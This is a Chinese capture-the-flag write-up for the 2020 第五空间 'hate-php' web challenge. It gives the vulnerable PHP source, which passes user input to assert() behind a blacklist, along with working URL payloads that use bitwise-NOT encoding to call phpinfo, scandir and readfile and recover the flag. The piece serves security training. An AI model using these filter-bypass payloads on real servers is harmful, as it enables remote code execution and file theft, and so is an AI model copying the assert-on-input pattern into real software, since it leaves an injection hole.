2020第五空间web hate-php
Hate-php
技术太差了,还需要努力

<?php
error_reporting(0);
if(!isset($_GET['code'])){
highlight_file(__FILE__);
}else{
$code = $_GET['code'];
if (preg_match('/(f|l|a|g|\.|p|h|\/|;|\"|\'|\`|\||\[|\]|\_|=)/i',$code)) {
die('You are too good for me');
}
$blacklist = get_defined_functions()['internal'];
foreach ($blacklist as $blackitem) {
if (preg_match ('/' . $blackitem . '/im', $code)) {
die('You deserve better');
}
}
assert($code);
}
preg_match('/(f|l|a|g|\.|p|h|\/|;|\"|\'|\`|\||\[|\]|\_|=)/i',$code
过滤了很多东西
可以看出我们需要从 flag.php中读取出 flag
$blacklist = get_defined_functions()['internal'];
最主要的就是绕过这里 $blacklist = get_defined_functions()['internal'];
get_defined_functions()函数它将获取所有已定义的函数,包括内置(internal) 和用户定义的函数。 可通过$arr["internal"]来访问系统内置函数, 通过$arr["user"]来访问用户自定义函数
这里吧内置函数 加如到了 blacklist中 ,我们就需要绕过这个
https://www.cnblogs.com/yesec/p/12450269.html 这里有个相同的绕过手法
构造 (phpinfo)();这样的写法
我们取反绕过

得到 %8F%97%8F%96%91%99%90
构造payload ?code=(~%8F%97%8F%96%91%99%90)()
分号被过滤了 那我们就去掉分号测试
这里去掉分号就可以了 在其他环境是否可行并未验证

成功弹出phpinfo页面
那我们同样的就可以浏览目录
使用print_r(scandir('.'))来进行列目录



构造payload:
?code=(~%8F%8D%96%91%8B%A0%8D)((~%8C%9C%9E%91%9B%96%8D)((~%D1)))

接下来我们读取flag.php
使用readfile(‘flag.php’) 来读取flag.php


Payload:
/?code=(~%8D%9A%9E%9B%99%96%93%9A)((~%99%93%9E%98%D1%8F%97%8F))

得到flag
flag{ecee9b5f24f8aede87cdda995fed079c}

浙公网安备 33010602011771号